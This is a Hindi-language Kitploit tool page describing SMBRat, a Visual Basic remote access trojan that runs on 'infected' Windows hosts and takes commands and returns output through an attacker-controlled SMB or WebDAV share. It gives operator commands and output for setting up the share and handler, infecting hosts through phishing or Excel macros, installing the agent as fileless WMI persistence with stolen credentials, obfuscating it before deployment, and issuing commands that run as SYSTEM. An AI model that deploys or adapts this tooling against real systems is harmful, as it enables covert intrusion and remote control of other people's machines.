Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
SMBRat — UNC पथों के साथ विज़ुअल बेसिक में एक विंडोज रिमोट प्रशासन उपकरण | Kitploit
उपकरण/GitHubGitHub/operatorequals/smbrat
फ़िशिंग उपकरणपेलोड जनरेशनस्थायित्व तंत्रशोषणपार्श्व आंदोलनशेलकोडपोस्ट-शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूल
22127 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
operatorequals/smbrat

SMBRat

UNC पथों के साथ विज़ुअल बेसिक में एक विंडोज रिमोट प्रशासन उपकरण

रिपॉजिटरी देखें

SMBRat

एक विंडोज़ रिमोट एडमिनिस्ट्रेशन टूल विज़ुअल बेसिक स्क्रिप्ट में

विचार

विंडोज़ वातावरण जैसे एक्टिव डायरेक्ट्री नेटवर्क, SMB ट्रैफिक से बहुत भारी हो जाते हैं।

सभी होस्ट SYSVOL से पॉलिसियाँ प्राप्त करते हैं, कॉन्फ़िगरेशन को काम करने के लिए रिमोट फ़ाइलों की आवश्यकता होती है, डेस्कटॉप शॉर्टकट \\something\else\in\the\network.exe की ओर इशारा करते हैं।

कोई भी एक और कनेक्शन प्रयास पर ध्यान नहीं देगा। सही है?

- विशेष रूप से यदि यह सफल होता है (यह केवल फ़ायरवॉल डेनीज़ की निगरानी करने का एक फैशन है)

सामग्री

एजेंट

दस्तावेज़ीकरण/संग्रहण अनुकूल

agent एक विज़ुअल बेसिक स्क्रिप्ट है जो संक्रमित होस्ट पर चलती है और SMB सर्वर से जुड़ती है। यह वहाँ होस्ट के hostname और प्राथमिक MAC पते के नाम पर एक निर्देशिका बनाता है (रिपोर्टिंग उद्देश्यों के लिए अद्वितीय और जानकारीपूर्ण होने का प्रयास करता है)। संक्रमित होस्ट के सभी कमांड और जानकारी इस निर्देशिका में संग्रहीत की जाएंगी। पूरे साझा फ़ोल्डर को zip करने से सभी प्रोजेक्ट जानकारी संग्रहीत हो जाएगी!

छुपा हुआ

यह शेयर को माउंट करने के लिए ड्राइव लेटर का उपयोग नहीं करता, केवल UNC पथों का उपयोग करके सीधे रिमोट फ़ाइलों को पढ़ता है (explorer.exe में कोई ड्राइव नहीं बनाई जाती)।

यह अपने स्वयं के निष्पादन वातावरण के %PATH% वेरिएबल में UNC पथ भी इंजेक्ट करता है (आप अपने Linux मशीन के फाइलसिस्टम से सीधे एक्जीक्यूटेबल चला सकते हैं)।

एजेंट का निष्पादन

agent को एक बार चलने के लिए कॉन्फ़िगर किया गया है। स्थितिहीन रूप से।

इसकी दिनचर्या (लगभग) इस प्रकार है:

  • यह SMB शेयर में बनाए गए फ़ोल्डर में exec.dat नामक फ़ाइल की तलाश करता है
  • यदि उसे फ़ाइल मिलती है, तो वह उसकी सामग्री पढ़ता है और इसे cmd.exe /c <command> के साथ एक अर्ध-इंटरैक्टिव शेल की तरह कमांड के रूप में निष्पादित करता है।
  • कमांड का उत्तर output.dat में संग्रहीत किया जाता है (exec.dat के बगल में)।
  • exec.dat फ़ाइल को हटा देता है।
एजेंट सेट करने के लिए विकी पेज

हैंडलर

handler को काम करने के लिए एक SMB सर्वर की आवश्यकता है। Core Security's impacket पैकेज से smbserver.py मॉड्यूल काम करेगा।

संभवतः smbd भी काम करेगा, लेकिन अभी तक परीक्षण नहीं किया गया है।

SMB सर्वर सेट करना

एक D$ नाम का शेयर आवश्यक है, जो एक वैध विंडोज़ होस्ट के SMB जैसा दिखे।

root@kitploit:~
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

WebDAV मामला!

चूँकि agent केवल UNC पथों का उपयोग करने के लिए कॉन्फ़िगर किया गया है, WebDAV का भी शून्य-परिवर्तन के साथ उपयोग किया जा सकता है।

SMB सर्वर के बजाय, एक WebDAV सर्वर का उपयोग किया जा सकता है (SSL समर्थन वाला एक अच्छा WebDAV सर्वर wsgidav है)।

root@kitploit:~
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO    :  WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO    :  Lock manager:      LockManager(LockStorageDict)
[...] INFO    :  Property manager:  None
[...] INFO    :  Domain controller: SimpleDomainController()
[...] INFO    :  Registered DAV providers by route:
[...] INFO    :    - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO    :    - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING :  Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING :  Share '/:dir_browser' will allow anonymous read access.
[...] WARNING :  Share '/' will allow anonymous write access.
[...] INFO    :  Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO    :  Serving on http://0.0.0.0:80 ...

[...] INFO    :  192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status

SSL समर्थन के लिए, UNC पथों को थोड़ा बदलना होगा, से:

root@kitploit:~
\\<Server-IP>\DIR\

से:

root@kitploit:~
\\<Server-IP>@SSL@443\DIR\

यह परिवर्तन केवल ServerName agent.vbs वेरिएबल में किया जा सकता है, क्योंकि सभी पथ इसी से निर्मित होते हैं।

ध्यान रखें कि SSL प्रमाणपत्रों को agent चलाने वाले सिस्टम द्वारा विश्वसनीय होना चाहिए। स्व-हस्ताक्षरित प्रमाणपत्र चेतावनियों के साथ विफल होंगे।

संक्रमण योजना

किसी फ़ाइल से होस्ट को संक्रमित करें

agent.vbs फ़ाइल की शुरुआत में कई सेकंड की देरी (10 सेकंड आदर्श है) के साथ एक While लूप जोड़ा जा सकता है, और यह डबल क्लिक / फ़िशिंग / एक्सेल मैक्रोज़ / आदि के माध्यम से विंडोज़ होस्ट को संक्रमित करने में सक्षम होगा...

root@kitploit:~
Do While True
	[...]
	WScript.Sleep 1000
Loop

होस्ट को फ़ाइललेस संक्रमित करें

फिर भी, यदि किसी विंडोज़ होस्ट में RPC सक्षम है, तो WMI और शानदार impacket पैकेज उदाहरणों के माध्यम से VBS फ़ाइल को फ़ाइललेस मैलवेयर के रूप में स्थापित करना संभव है, जैसे एक कमांड:

root@kitploit:~
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10

स्थानीय पहुँच द्वारा WMI टूल का उपयोग करके agent.vbs को फ़ाइललेस मैलवेयर के रूप में स्थापित करना भी संभव है।

अस्पष्टीकरण?

विज़ुअल बेसिक स्क्रिप्ट को अच्छी तरह से अस्पष्ट किया जा सकता है, base64 एन्कोड किया जा सकता है और मिनिफ़ाई भी किया जा सकता है।

'तैनात' करने से पहले इसे एक बार आज़माना वास्तव में उपयोगी हो सकता है 😉

  • VBS अस्पष्टीकरण के लिए ऑनलाइन टूल
  • गिटहब रेपो

SMB शेयर में निर्देशिका संरचना

साझा फ़ोल्डर में मैन्युअल रूप से फ़ोल्डर कभी न बनाएं

बुनियादी उपयोग

लेखन के समय, कोई Handler शेल लागू नहीं किया गया है, इसलिए उपयोग केवल watch जैसी कमांड का उपयोग करके output.dat फ़ाइल का निरीक्षण करने के लिए किया जा सकता है:

root@kitploit:~
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat

और exec.dat फ़ाइल में सामग्री लिखने के लिए echo:

root@kitploit:~
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat

handler.py

प्रयोगात्मक शेल इस प्रकार काम करता है:

root@kitploit:~
$ python handler.py Share/
SMBRat> 
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"

SMBRat> execall whoami /user

[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
		
SMBRat> 
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF': 


USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18

^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat> 
				

उल्लेखनीय जोखिम

SMBv1 एन्क्रिप्टेड नहीं है :

root@kitploit:~
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

[...]

15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)

E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"

[...]

15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)

E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................

.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...

[...]

15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)

[email protected]../.../..8..i~. 
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.

[...]

ट्रैफिक (फ़ाइल सामग्री और पथ) यदि SMBv1 सर्वर का उपयोग किया जाता है (जैसे impacket का smbserver.py) तो सादे पाठ में स्थानांतरित होता है।

  • एक एन्क्रिप्शन/अस्पष्टीकरण परत इस समस्या को पूरी तरह से हल कर देगी!

पूरा शेयर सभी के लिए पढ़ने/लिखने योग्य है:

सभी एजेंट पूरे शेयर में संग्रहीत फ़ाइलों को संशोधित कर सकते हैं। अर्थात वे अन्य एजेंटों के exec.dat को संशोधित कर सकते हैं...

एक smbmap प्रकाश डालेगा:

root@kitploit:~
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445	Name: Deskjet-4540                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	D$                                                	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
	IPC$                                              	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually

smbmap के -u और -p पैरामीटर की कमी पर ध्यान दें।

यह एक NULL सत्र है (FTP अनाम लॉगिन की तरह)। हर कोई शेयर फ़ाइलों को बदल सकता है और सभी संक्रमित मशीनों पर रिमोट कोड निष्पादन प्राप्त कर सकता है।

  • यहाँ कुछ iptables जलाना बेहतर होगा...

सत्र इंटरैक्टिव नहीं हैं

execall netsh टाइप करें और आप अपने सभी एजेंट खो देंगे। कोई भी उत्तर नहीं देगा क्योंकि agent.vbs netsh.exe शेल को स्पॉन करेगा और इसके समाप्त होने की प्रतीक्षा करेगा, ताकि वह अपनी सामग्री को output.dat में लिख सके। लेकिन अंदाजा लगाइए... यह समाप्त नहीं होगा... यह netsh> के साथ लटक जाएगा जो शून्य की ओर इशारा करता है।

टूल डाउनलोड करें